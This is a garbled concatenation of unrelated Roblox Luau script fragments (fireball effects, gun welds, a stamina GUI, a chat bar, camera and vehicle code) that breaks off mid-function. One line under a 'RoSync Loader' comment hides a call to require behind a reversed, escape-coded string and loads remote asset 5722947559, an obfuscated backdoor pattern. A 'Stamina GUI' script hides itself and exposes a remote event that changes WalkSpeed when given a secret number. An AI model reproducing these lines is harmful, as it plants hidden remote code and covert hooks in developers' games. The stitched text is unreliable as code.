local v1 = {}; local l__ReplicatedStorage__2 = game.ReplicatedStorage; local v3 = require(game.ReplicatedStorage.Modules.Lightning); local v4 = require(game.ReplicatedStorage.Modules.Xeno); local v5 = require(game.ReplicatedStorage.Modules.CameraShaker); local v6 = require(game.ReplicatedStorage.Modules.CameraShakerV2); local l__Animations__1 = workspace.Ignored.Animations; local l__TweenService__2 = game.TweenService; local l__Debris__3 = game.Debris; function v1.RunStompFx(p1, p2, p3, p4) local l__CFrame__7 = p3.Character:WaitForChild("HumanoidRootPart").CFrame; local l__Parent__8 = p2.Parent; local v9 = script.Fireball:Clone(); v9.CFrame = l__Parent__8.HumanoidRootPart.CFrame * CFrame.new(math.random(-115, 115), math.random(150, 300), math.random(-115, 115)); v9.CFrame = CFrame.lookAt(v9.Position, l__Parent__8.HumanoidRootPart.Position); v9.Parent = l__Animations__1; v9.fire:Play(); v9.ignite:Play(); l__TweenService__2:Create(v9, TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), { Position = p2.Position }):Play(); task.wait(1); local v10 = script.Explosion:Clone(); v10.Position = v9.Position; v10.Parent = l__Animations__1; v9:Destroy(); local v11 = script.Fireball.explosion:Clone(); v11.Parent = p2; v11:Play(); l__Debris__3:AddItem(v11, 2.5); for v12, v13 in v10() do if v13:IsA("ParticleEmitter") then v13:Emit(v13:GetAttribute("EmitCount")); end; end; end; return v1;
--DO NOT DELETE, THIS WILL BREAK THE GUN
function Stick(x, y) local W = Instance.new("Weld") W.Part0 = x W.Part1 = y local CJ = CFrame.new(x.Position) local C0 = x.CFrame:inverse()*CJ local C1 = y.CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = x end function Get(A) if A.ClassName == ("Part") then Stick(script.Parent.Handle, A) A.Anchored = false else local C = A:GetChildren() for i=1, #C do Get(C[i]) end end end function Finale() Get(script.Parent) end script.Parent.Equipped:Connect(Finale) script.Parent.Unequipped:Connect(Finale) Finale()
-- Thanks for using my Baldi's Basics Stamina GUI! (this is better than the other ones out there) -- You don't have to give credit since it's just a gui, but it's appreciated!
local maingui = script.Stamina:Clone() script.Stamina:Destroy() script.Archivable = false script.Parent = nil -- Hides the script game.Players.PlayerAdded:Connect(function(player) local function LoadGuis(player) game:GetService("RunService").Heartbeat:Wait() -- waits for any script that auto-clears guis to do its job local plrguis = player:FindFirstChild("PlayerGui") if (plrguis) then local oldgui = plrguis:FindFirstChild("Stamina") if (oldgui) then oldgui:Destroy() end local gui = maingui:Clone() local event = gui.Frame:WaitForChild("Speed") event.OnServerEvent:Connect(function(plr,sec,spd) if (sec == 1055299) then local hum = plr.Character:FindFirstChildWhichIsA("Humanoid") if hum ~= nil then hum.WalkSpeed = spd end end end); gui.Parent = plrguis end end LoadGuis(player) player.CharacterAdded:Connect(function() LoadGuis(player) end) end)
--Main Settings:
HANDBRAKE = true PADDLE_SHIFTER = false PEDALS = true SHIFTER = true STEERING_WHEEL = true
-- Private Methods
local function shortestDist(start, stop) local modDiff = (stop - start) % TAU local sDist = PI - math.abs(math.abs(modDiff) - PI) if ((modDiff + TAU) % TAU < PI) then return sDist else return -sDist end end function init(self) local subN = self.SubN local dial = self.Frame.RadialDial local inputType = Enum.UserInputType.MouseMovement self._Maid:Mark(self._ClickedBind) self._Maid:Mark(self._HoverBind) self._Maid:Mark(UIS.LastInputTypeChanged:Connect(function(iType) if (MOUSE_GROUP[iType] or GAMEPAD_GROUP[iType]) then inputType = iType end end)) local lTheta = 0 self._Maid:Mark(UIS.InputBegan:Connect(function(input) if (not self.Enabled) then return end if (GAMEPAD_GROUP[input.UserInputType]) then if (not GAMEPAD_CLICK[input.KeyCode]) then return else self._ClickedBind:Fire(self:PickIndex(lTheta)) end end local theta = self:GetTheta(input.UserInputType) if (theta) then self._ClickedBind:Fire(self:PickIndex(theta)) end end)) self._Maid:Mark(RUNSERVICE.RenderStepped:Connect(function(dt) if (not self.Enabled) then return end local theta = self:GetTheta(inputType) if (theta and self:IsVisible()) then lTheta = theta local frameRot = math.rad(self.Frame.Rotation) local toDeg = math.deg(theta - self.Rotation + frameRot + EX_OFFSET + 2*TAU) % 360 local closest = toDeg / (360 / self.SubN) + 0.5 dial.Rotation = math.deg(self:GetRotation(closest)) local index = self:PickIndex(theta) if (index ~= self._LastHoverIndex) then self._HoverBind:Fire(self._LastHoverIndex, index) self._LastHoverIndex = index end end end)) end
-- Referenced by doing ``main.main:GetModule("API")``
local hd = {}
--Made by CookieScript --[[ Last synced 10/16/2020 12:52 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--------------------------UTIL LIBRARY-------------------------------
local Utility = {} do local function FindCharacterAncestor(part) if part then local humanoid = part:FindFirstChildOfClass("Humanoid") if humanoid then return part, humanoid else return FindCharacterAncestor(part.Parent) end end end Utility.FindCharacterAncestor = FindCharacterAncestor local function Raycast(ray, ignoreNonCollidable, ignoreList) ignoreList = ignoreList or {} local hitPart, hitPos, hitNorm, hitMat = Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if hitPart then if ignoreNonCollidable and hitPart.CanCollide == false then -- We always include character parts so a user can click on another character -- to walk to them. local _, humanoid = FindCharacterAncestor(hitPart) if humanoid == nil then table.insert(ignoreList, hitPart) return Raycast(ray, ignoreNonCollidable, ignoreList) end end return hitPart, hitPos, hitNorm, hitMat end return nil, nil end Utility.Raycast = Raycast end local humanoidCache = {} local function findPlayerHumanoid(player) local character = player and player.Character if character then local resultHumanoid = humanoidCache[player] if resultHumanoid and resultHumanoid.Parent == character then return resultHumanoid else humanoidCache[player] = nil -- Bust Old Cache local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoidCache[player] = humanoid end return humanoid end end end
-- Support for debounce
function PlayCutscene() if bin then bin = false if ProtectTheCharacterWhilePlaying and ProtectTheCharacterWhilePlaying.Value and Player.Character then CharacterProtector.Parent = Player.Character end Demo:Play() end end Demo.EStop.Event:Connect(function() wait_time(Debounce.Value) CharacterProtector.Parent = nil if PlayOnce then if not PlayOnce.Value then bin = true end else bin = true end if StopMusicWhenFinished and StopMusicWhenFinished.Value then if OnFinishedRemove then for i,v in pairs(OnFinishedRemove:GetChildren()) do if v:IsA("ObjectValue") then if v.Value then v.Value:Destroy() end end end end end end)
-- USER INPUT
export type InputEnumType = EnumItem & (Enum.KeyCode | Enum.UserInputType) export type InputOptions = { state: Enum.UserInputState?, checkText: boolean? } export type InputObject = { Name: string, Enabled: boolean, Function: (...any) -> (...any), CheckText: boolean } export type InputObjectArray = Array<InputObject> export type StateList = Map<Enum.UserInputState, InputObjectArray> export type InputList = Map<InputEnumType, StateList> export type UserInputType = { KeysDown: Map<Enum.KeyCode, boolean>, BoundInputs: { ['KeyCode']: InputList, ['UserInputType']: InputList, }, AddInput: (self: UserInputType, name: string, inputs: InputEnumType | { InputEnumType }, func: (...any) -> (...any), options: InputOptions) -> (), RemoveInput: (self: UserInputType, name: string) -> () }
--Localize
local instance,newRay = Instance.new,Ray.new local v2,v3,cf,udim2 = Vector2.new,Vector3.new,CFrame.new,UDim2.new local insert,random,abs = table.insert,math.random,math.abs local Player = game.Players.LocalPlayer
--[[---------------------------------------------------------------------------------------------------- <auto-generated> This file was generated by: ClientIntegration/Tools/LuaStringsGenerator/GenerateAllLocales.py Changes to this file should always follow: Building an Internationalized Feature - Engineer's Guide: https://confluence.roblox.com/display/IN/Building+an+Internationalized+Feature+-+Engineer%27s+Guide Sync up with newly-updated translations: https://confluence.roblox.com/display/MOBAPP/Sync+up+with+newly-updated+translations </auto-generated> --------------------------------------------------------------------------------------------------------]]
return{ }
-- Touched events
handler.OnClientEvent:Connect(function() print('client received') local val = game.Players.LocalPlayer:WaitForChild('PlayerGui'):WaitForChild('A-Chassis Interface') val.IsOn.Value = false end)
--[[ Subscribe to a binding's change signal. This is only accessible by Roact. ]]
function Binding.subscribe(binding, handler) local internalData = binding[InternalData] --[[ If this binding is mapped to another and does not have any subscribers, we need to create a subscription to our source binding so that updates get passed along to us ]] if internalData.upstreamBinding ~= nil and internalData.subscriberCount == 0 then internalData.upstreamDisconnect = Binding.subscribe(internalData.upstreamBinding, function(value) Binding.update(binding, value) end) end local disconnect = internalData.changeSignal:subscribe(handler) internalData.subscriberCount = internalData.subscriberCount + 1 local disconnected = false --[[ We wrap the disconnect function so that we can manage our subscriptions when the disconnect is triggered ]] return function() if disconnected then return end disconnected = true disconnect() internalData.subscriberCount = internalData.subscriberCount - 1 --[[ If our subscribers count drops to 0, we can safely unsubscribe from our source binding ]] if internalData.subscriberCount == 0 and internalData.upstreamDisconnect ~= nil then internalData.upstreamDisconnect() internalData.upstreamDisconnect = nil end end end
-- Prompts --
local ProximityPrompt = DoorLogo.ProximityPrompt
-- Tweens
function Animate(w1,w2,w3,tw,Time,Delay) SetWelds() weld1C1 = w1 weld2C1 = w2 weld3C1 = w3 tweldC1 = tw TweenService:Create(neck,TweenInfo.new(Time),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play() SEs.FireClient:FireServer(k,"AnimateFE",{w1,w2,w3,tw},Time,Answer,0,NeckRotation,chr,Tool.Hig.Value) if script:IsDescendantOf(chr) then TweenService:Create(weld1,TweenInfo.new(Time), {C1=w1*CFrame.new(0,Tool.Hig.Value,0)}):Play() TweenService:Create(weld2,TweenInfo.new(Time), {C1=w2*CFrame.new(0,Tool.Hig.Value,0)}):Play() TweenService:Create(weld3,TweenInfo.new(Time), {C1=w3*CFrame.new(0,Tool.Hig.Value,0)}):Play() TweenService:Create(tweld,TweenInfo.new(Time), {C1=tw*CFrame.new(0,Tool.Hig.Value,0)}):Play() end if Delay then Time = Time + Delay end wait(Time) end chr.Humanoid.Died:connect(function() game.Workspace.CurrentCamera.FieldOfView = 70 end) Mouse.Move:connect(function() -- Thanks to Ultimatedar for this logic, heavily edited by me. local Mouse = Player:GetMouse() local Direction = Mouse.Hit.p local B = head.Position.Y-Direction.Y local Dist = (head.Position-Direction).magnitude Answer = math.asin(B/Dist) Gyro.cframe = Mouse.Hit if Stance ~= "Nothing" then Answer = 0 else if Stance == "Nothing" then if Answer > math.rad(20) then Answer = math.rad(20) elseif Answer < math.rad(-10) then Answer = math.rad(-10) else if torso.Parent.Humanoid.Sit then Answer = 0 end end end end if (Stance == "Nothing") then SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning) if not Turning then TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play() end TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play() TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(Answer,0,0)}):Play() if Gyro.Parent ~= tilt and Tool.Skrimish.Value then Gyro.Parent = tilt chr.Humanoid.AutoRotate = false elseif Gyro.Parent == tilt and not Tool.Skrimish.Value then Gyro.Parent = script chr.Humanoid.AutoRotate = true end else if Gyro.Parent == tilt then Gyro.Parent = script chr.Humanoid.AutoRotate = true end SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning,true) if not Turning then TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play() end TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play() TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(0,0,0)}):Play() end if tick() - Cooldown > LastCheck then local NextUnit = Mouse.UnitRay.Unit.Direction if math.abs(NextUnit.Y - LastUnit.Y) >= 0.01 then if NextUnit.Y > LastUnit.Y then AttackDirection = "U" else AttackDirection = "D" end else if CalcHorizontalAngle(LastUnit*Vector3.new(1,0,1), NextUnit*Vector3.new(1,0,1)) > 0 then AttackDirection = "R" else AttackDirection = "L" end end LastUnit = NextUnit end end) weld1C1 = weld1.C1 weld2C1 = weld2.C1 weld3C1 = weld3.C1 tweldC1 = tweld.C1 wait(0.1)
-- Libraries
RbxUtility = LoadLibrary 'RbxUtility'; Create = RbxUtility.Create; Support = require(script.Parent.SupportLibrary); Selection = require(script.Parent.SelectionModule); TargetingModule = {}; TargetingModule.TargetChanged = RbxUtility.CreateSignal(); function TargetingModule.EnableTargeting() -- Begin targeting parts from the mouse -- Get core API local Core = GetCore(); local Connections = Core.Connections; -- Create reference to mouse Mouse = Core.Mouse; -- Listen for target changes Connections.Targeting = Mouse.Move:connect(TargetingModule.UpdateTarget); -- Listen for target clicks Connections.Selecting = Mouse.Button1Up:connect(TargetingModule.SelectTarget); -- Listen for sibling selection middle clicks Connections.SiblingSelecting = Support.AddUserInputListener('Began', 'MouseButton3', true, function () TargetingModule.SelectSiblings(Mouse.Target, not Selection.Multiselecting); end); -- Listen for 2D selection Connections.RectSelectionStarted = Mouse.Button1Down:connect(TargetingModule.StartRectangleSelecting); Connections.RectSelectionFinished = Support.AddUserInputListener('Ended', 'MouseButton1', true, TargetingModule.FinishRectangleSelecting); -- Hide target box when tool is unequipped Connections.HideTargetBoxOnDisable = Core.Disabling:connect(TargetingModule.HighlightTarget); -- Cancel any ongoing selection when tool is unequipped Connections.CancelSelectionOnDisable = Core.Disabling:connect(TargetingModule.CancelRectangleSelecting); end; function TargetingModule.UpdateTarget() -- Ensure target has changed if Target == Mouse.Target then return; end; -- Update target Target = Mouse.Target; -- Fire events TargetingModule.TargetChanged:fire(Mouse.Target); end; function TargetingModule.HighlightTarget(Target) -- Get core API local Core = GetCore(); -- Create target box if not TargetBox then TargetBox = Create 'SelectionBox' { Name = 'BTTargetOutline', Parent = Core.UIContainer, LineThickness = 0.025, Transparency = 0.5, Color = BrickColor.new 'Institutional white' }; end; -- Focus on target TargetBox.Parent = Target and Core.UIContainer or nil; TargetBox.Adornee = Target; end; function TargetingModule.SelectTarget() -- Ensure target selection isn't cancelled if SelectionCancelled then SelectionCancelled = false; return; end; -- Focus on clicked, selected item if not Selection.Multiselecting and Selection.IsSelected(Target) then Selection.SetFocus(Target); return; end; -- Clear selection if invalid target selected if not GetCore().IsSelectable(Target) then Selection.Clear(true); return; end; -- Unselect clicked, selected item if multiselection is enabled if Selection.Multiselecting and Selection.IsSelected(Target) then Selection.Remove({ Target }, true); return; end; -- Add to selection if multiselecting if Selection.Multiselecting then Selection.Add({ Target }, true); -- Replace selection if not multiselecting else Selection.Replace({ Target }, true); end; end; function TargetingModule.SelectSiblings(Part, ReplaceSelection) -- Selects all parts under the same parent as `Part` -- If a part is not specified, assume the currently focused part local Part = Part or Selection.Focus; -- Ensure the part exists and its parent is not Workspace if not Part or Part.Parent == Workspace then return; end; -- Get the focused item's siblings local Siblings = Support.GetAllDescendants(Part.Parent); -- Add to or replace selection if ReplaceSelection then Selection.Replace(Siblings, true); else Selection.Add(Siblings, true); end; end; function TargetingModule.StartRectangleSelecting() -- Ensure selection isn't cancelled if SelectionCancelled then return; end; -- Mark where rectangle selection started RectangleSelectStart = Vector2.new(Mouse.X, Mouse.Y); -- Track mouse while rectangle selecting GetCore().Connections.WatchRectangleSelection = Mouse.Move:connect(function () -- If rectangle selecting, update rectangle if RectangleSelecting then TargetingModule.UpdateSelectionRectangle(); -- Watch for potential rectangle selections elseif RectangleSelectStart and (Vector2.new(Mouse.X, Mouse.Y) - RectangleSelectStart).magnitude >= 10 then RectangleSelecting = true; SelectionCancelled = true; end; end); end; function TargetingModule.UpdateSelectionRectangle() -- Ensure rectangle selection is ongoing if not RectangleSelecting then return; end; -- Get core API local Core = GetCore(); -- Create selection rectangle if not SelectionRectangle then SelectionRectangle = Create 'Frame' { Name = 'SelectionRectangle', Parent = Core.UI, BackgroundColor3 = Color3.fromRGB(100, 100, 100), BorderColor3 = Color3.new(0, 0, 0), BackgroundTransparency = 0.5, BorderSizePixel = 1 }; end; local StartPoint = Vector2.new( math.min(RectangleSelectStart.X, Mouse.X), math.min(RectangleSelectStart.Y, Mouse.Y) ); local EndPoint = Vector2.new( math.max(RectangleSelectStart.X, Mouse.X), math.max(RectangleSelectStart.Y, Mouse.Y) ); -- Update size and position SelectionRectangle.Parent = Core.UI; SelectionRectangle.Position = UDim2.new(0, StartPoint.X, 0, StartPoint.Y); SelectionRectangle.Size = UDim2.new(0, EndPoint.X - StartPoint.X, 0, EndPoint.Y - StartPoint.Y); end; function TargetingModule.CancelRectangleSelecting() -- Prevent potential rectangle selections RectangleSelectStart = nil; -- Clear ongoing rectangle selection RectangleSelecting = false; -- Clear rectangle selection watcher local Connections = GetCore().Connections; if Connections.WatchRectangleSelection then Connections.WatchRectangleSelection:disconnect(); Connections.WatchRectangleSelection = nil; end; -- Clear rectangle UI if SelectionRectangle then SelectionRectangle.Parent = nil; end; end; function TargetingModule.CancelSelecting() SelectionCancelled = true; TargetingModule.CancelRectangleSelecting(); end; function TargetingModule.FinishRectangleSelecting() local RectangleSelecting = RectangleSelecting; local RectangleSelectStart = RectangleSelectStart; -- Clear rectangle selection TargetingModule.CancelRectangleSelecting(); -- Ensure rectangle selection is ongoing if not RectangleSelecting then return; end; -- Get rectangle dimensions local StartPoint = Vector2.new( math.min(RectangleSelectStart.X, Mouse.X), math.min(RectangleSelectStart.Y, Mouse.Y) ); local EndPoint = Vector2.new( math.max(RectangleSelectStart.X, Mouse.X), math.max(RectangleSelectStart.Y, Mouse.Y) ); local SelectableItems = {}; -- Find items that lie within the rectangle for _, Part in pairs(Support.GetAllDescendants(Workspace)) do if Part:IsA 'BasePart' then local ScreenPoint, OnScreen = Workspace.CurrentCamera:WorldToScreenPoint(Part.Position); if OnScreen then local LeftCheck = ScreenPoint.X >= StartPoint.X; local RightCheck = ScreenPoint.X <= EndPoint.X; local TopCheck = ScreenPoint.Y >= StartPoint.Y; local BottomCheck = ScreenPoint.Y <= EndPoint.Y; table.insert(SelectableItems, (LeftCheck and RightCheck and TopCheck and BottomCheck) and Part or nil); end; end; end; -- Add to selection if multiselecting if Selection.Multiselecting then Selection.Add(SelectableItems, true); -- Replace selection if not multiselecting else Selection.Replace(SelectableItems, true); end; end; function TargetingModule.PrismSelect() -- Selects parts in the currently selected parts -- Ensure parts are selected if #Selection.Items == 0 then return; end; -- Get core API local Core = GetCore(); -- Get region for selection items and find potential parts local Extents = require(Core.Tool.BoundingBoxModule).CalculateExtents(Selection.Items, nil, true); local Region = Region3.new(Extents.Min, Extents.Max); local PotentialParts = Workspace:FindPartsInRegion3WithIgnoreList(Region, Selection.Items, math.huge); -- Enable collision on all potential parts local OriginalState = {}; for _, PotentialPart in pairs(PotentialParts) do OriginalState[PotentialPart] = { Anchored = PotentialPart.Anchored, CanCollide = PotentialPart.CanCollide }; PotentialPart.Anchored = true; PotentialPart.CanCollide = true; end; local Parts = {}; -- Find all parts intersecting with selection for _, Part in pairs(Selection.Items) do local TouchingParts = Part:GetTouchingParts(); for _, TouchingPart in pairs(TouchingParts) do if not Selection.IsSelected(TouchingPart) then Parts[TouchingPart] = true; end; end; end; -- Restore all potential parts' original states for PotentialPart, State in pairs(OriginalState) do PotentialPart.CanCollide = State.CanCollide; PotentialPart.Anchored = State.Anchored; end; -- Delete the selection parts Core.DeleteSelection(); -- Select all found parts Selection.Replace(Support.Keys(Parts), true); end; TargetingModule.TargetChanged:connect(function (Target) -- Get core API local Core = GetCore(); -- Hide target box if no/unselectable target if not Target or not Core.IsSelectable(Target) or Core.Selection.IsSelected(Target) then TargetingModule.HighlightTarget(nil); -- Show target outline if target is selectable else TargetingModule.HighlightTarget(Target); end; end); function GetCore() return require(script.Parent.Core); end; return TargetingModule;
--[[** ensures Roblox EnumItem type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.EnumItem = t.typeof("EnumItem")
-- Switch to the next (or previous) view:
function CamLock.SwitchView(reverse) if (tweening) then return end tweenFromView = currentView currentViewIndex = (currentViewIndex + (reverse and -1 or 1)) currentViewIndex = (currentViewIndex < 1 and #views or currentViewIndex > #views and 1 or currentViewIndex) currentView = views[currentViewIndex] if (tweenFromView ~= currentView) then tweening = true tweenStart = tick() CamLock.Update = UpdateWithTween end end
-- IgnoreBodyParts: If true, characters will be completely converted regardless of what body parts they may have equipped.
local IgnoreBodyParts = false
-- Make Connection strict
setmetatable(Connection, { __index = function(_, key) error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2) end, __newindex = function(_, key, _) error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2) end })
--Time to spend with the GUI completely faded in:
BlackoutTime = 0.5
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "v" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 limitButton.Text = "Free Camera" wait(3) limitButton.Text = "" elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 limitButton.Text = "FPV Camera" wait(3) limitButton.Text = "" elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 limitButton.Text = "Standard Camera" wait(3) limitButton.Text = "" end end end)
-- Decompiled with the Synapse X Luau decompiler.
open = true; script.Parent.MouseButton1Click:Connect(function() if open == true then open = false; script.Parent.Parent.Frame.Visible = false; return; end; if open == false then open = true; script.Parent.Parent.Frame.Visible = true; end; end);
-- Services
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players")
--\\Main//--
for Number, Instance in pairs(game.Workspace:GetChildren()) do if Instance:IsA("Part") and Instance.Name == "brick" then Instance.Touched:Connect(function(Hit) local Player = PlayerService:GetPlayerFromCharacter(Hit.Parent) if not Player then return end Player.Character:FindFirstChild("Humanoid").Sit = true end) end end
-- debug.profileend()
return BLACK_COLOR3 end local U = ((1 - DeltaTime) * U0 + DeltaTime * U1) / L + 0.19783 local V = ((1 - DeltaTime) * V0 + DeltaTime * V1) / L + 0.46832 local Y = (L + 16) / 116 Y = Y > 0.206896551724137931 and Y * Y * Y or 0.12841854934601665 * Y - 0.01771290335807126 local X = Y * U / V local Z = Y * ((3 - 0.75 * U) / V - 5) local R = 7.2914074 * X - 1.5372080 * Y - 0.4986286 * Z local G = -2.1800940 * X + 1.8757561 * Y + 0.0415175 * Z local B = 0.1253477 * X - 0.2040211 * Y + 1.0569959 * Z if R < 0 and R < G and R < B then R, G, B = 0, G - R, B - R elseif G < 0 and G < B then R, G, B = R - G, 0, B - G elseif B < 0 then R, G, B = R - B, G - B, 0 end R = R < 3.1306684425E-3 and 12.92 * R or 1.055 * R ^ (1 / 2.4) - 0.055 G = G < 3.1306684425E-3 and 12.92 * G or 1.055 * G ^ (1 / 2.4) - 0.055 B = B < 3.1306684425E-3 and 12.92 * B or 1.055 * B ^ (1 / 2.4) - 0.055 local ReturnColor = Color3.new( R > 1 and 1 or R < 0 and 0 or R, G > 1 and 1 or G < 0 and 0 or G, B > 1 and 1 or B < 0 and 0 or B )
--Variables
bux1 = script.Parent["Donation 2"].Bux25 bux2 = script.Parent["Donation 2"].Bux100 bux3 = script.Parent["Donation 2"].Bux500 tix1 = script.Parent.Donation1.Tix50 tix2 = script.Parent.Donation1.Tix100 tix3 = script.Parent.Donation1.Tix500
------------------------------------------------------------------
local Acceleration = Customize.Acceleration local MaxSpeed = Customize.MaxSpeed local StallSpeed = Customize.StallSpeed local TurnSpeed = Customize.TurnSpeed local ThrottleInc = Customize.ThrottleInc local MaxBank = Customize.MaxBank local CameraType = Customize.CameraType local CamLock = Customize.CamLock local Ejectable = Customize.Ejectable local PlaneName = Customize.PlaneName local Targetable = Customize.Targetable local FlightControls = Customize.FlightControls local WeaponControls = Customize.WeaponControls local TargetControls = Customize.TargetControls local WeaponsValue = Customize.Weapons local ReloadTimes = Customize.ReloadTimes local SimulationMode = Customize.SimulationMode local AltRestrict = Customize.AltitudeRestrict local MaxAltitude = AltRestrict.MaxAltitude local MinAltitude = AltRestrict.MinAltitude
-- / Round Assets / --
local RoundAssets = game.ServerStorage.RoundAssets local Tools = RoundAssets.Tools
--//Main Function
ProximityPrompt.Triggered:Connect(function(Player) local Character = Player.Character local Torso = Character:WaitForChild("Torso") ProximityPrompt.ActionText = "Wear" if Character:FindFirstChild(script.Parent.Parent.Name) then Character[script.Parent.Parent.Name]:Destroy() else local NewArmor = Armor:Clone() NewArmor:SetPrimaryPartCFrame(Torso.CFrame) NewArmor.PrimaryPart:Destroy() ProximityPrompt.ActionText = "Take off" for _, part in pairs (NewArmor:GetChildren()) do if part:IsA("BasePart") then WeldParts(Torso, part) part.CanCollide = false part.Anchored = false end end NewArmor.Parent = Character end end)
-- Deprecated in favour of GetMessageModeTextButton -- Retained for compatibility reasons.
function methods:GetMessageModeTextLabel() return self:GetMessageModeTextButton() end function methods:IsFocused() if self.UserHasChatOff then return false end return self:GetTextBox():IsFocused() end function methods:GetVisible() return self.GuiObject.Visible end function methods:CaptureFocus() if not self.UserHasChatOff then self:GetTextBox():CaptureFocus() end end function methods:ReleaseFocus(didRelease) self:GetTextBox():ReleaseFocus(didRelease) end function methods:ResetText() self:GetTextBox().Text = "" end function methods:SetText(text) self:GetTextBox().Text = text end function methods:GetEnabled() return self.GuiObject.Visible end function methods:SetEnabled(enabled) if self.UserHasChatOff then -- The chat bar can not be removed if a user has chat turned off so that -- the chat bar can display a message explaining that chat is turned off. self.GuiObject.Visible = true else self.GuiObject.Visible = enabled end end function methods:SetTextLabelText(text) if not self.UserHasChatOff then self.TextLabel.Text = text end end function methods:SetTextBoxText(text) self.TextBox.Text = text end function methods:GetTextBoxText() return self.TextBox.Text end function methods:ResetSize() self.TargetYSize = 0 self:TweenToTargetYSize() end local function measureSize(textObj) return TextService:GetTextSize( textObj.Text, textObj.TextSize, textObj.Font, Vector2.new(textObj.AbsoluteSize.X, 10000) ) end function methods:CalculateSize() if self.CalculatingSizeLock then return end self.CalculatingSizeLock = true local textSize = nil local bounds = nil if self:IsFocused() or self.TextBox.Text ~= "" then textSize = self.TextBox.TextSize bounds = measureSize(self.TextBox).Y else textSize = self.TextLabel.TextSize bounds = measureSize(self.TextLabel).Y end local newTargetYSize = bounds - textSize if (self.TargetYSize ~= newTargetYSize) then self.TargetYSize = newTargetYSize self:TweenToTargetYSize() end self.CalculatingSizeLock = false end function methods:TweenToTargetYSize() local endSize = UDim2.new(1, 0, 1, self.TargetYSize) local curSize = self.GuiObject.Size local curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y self.GuiObject.Size = endSize local endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y self.GuiObject.Size = curSize local pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY) local tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels) local success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end) if (not success) then self.GuiObject.Size = endSize end end function methods:SetTextSize(textSize) if not self:IsInCustomState() then if self.TextBox then self.TextBox.TextSize = textSize end if self.TextLabel then self.TextLabel.TextSize = textSize end end end function methods:GetDefaultChannelNameColor() if ChatSettings.DefaultChannelNameColor then return ChatSettings.DefaultChannelNameColor end return Color3.fromRGB(35, 76, 142) end function methods:SetChannelTarget(targetChannel) local messageModeTextButton = self.GuiObjects.MessageModeTextButton local textBox = self.TextBox local textLabel = self.TextLabel self.TargetChannel = targetChannel if not self:IsInCustomState() then if targetChannel ~= ChatSettings.GeneralChannelName then messageModeTextButton.Size = UDim2.new(0, 1000, 1, 0) messageModeTextButton.Text = string.format("[%s] ", targetChannel) local channelNameColor = self:GetChannelNameColor(targetChannel) if channelNameColor then messageModeTextButton.TextColor3 = channelNameColor else messageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor() end local xSize = messageModeTextButton.TextBounds.X messageModeTextButton.Size = UDim2.new(0, xSize, 1, 0) textBox.Size = UDim2.new(1, -xSize, 1, 0) textBox.Position = UDim2.new(0, xSize, 0, 0) textLabel.Size = UDim2.new(1, -xSize, 1, 0) textLabel.Position = UDim2.new(0, xSize, 0, 0) else messageModeTextButton.Text = "" messageModeTextButton.Size = UDim2.new(0, 0, 0, 0) textBox.Size = UDim2.new(1, 0, 1, 0) textBox.Position = UDim2.new(0, 0, 0, 0) textLabel.Size = UDim2.new(1, 0, 1, 0) textLabel.Position = UDim2.new(0, 0, 0, 0) end end end function methods:IsInCustomState() return self.InCustomState end function methods:ResetCustomState() if self.InCustomState then self.CustomState:Destroy() self.CustomState = nil self.InCustomState = false self.ChatBarParentFrame:ClearAllChildren() self:CreateGuiObjects(self.ChatBarParentFrame) self:SetTextLabelText( ChatLocalization:Get( "GameChat_ChatMain_ChatBarText", 'To chat click here or press "/" key' ) ) end end function methods:GetCustomMessage() if self.InCustomState then return self.CustomState:GetMessage() end return nil end function methods:CustomStateProcessCompletedMessage(message) if self.InCustomState then return self.CustomState:ProcessCompletedMessage() end return false end function methods:FadeOutBackground(duration) self.AnimParams.Background_TargetTransparency = 1 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self:FadeOutText(duration) end function methods:FadeInBackground(duration) self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self:FadeInText(duration) end function methods:FadeOutText(duration) self.AnimParams.Text_TargetTransparency = 1 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function 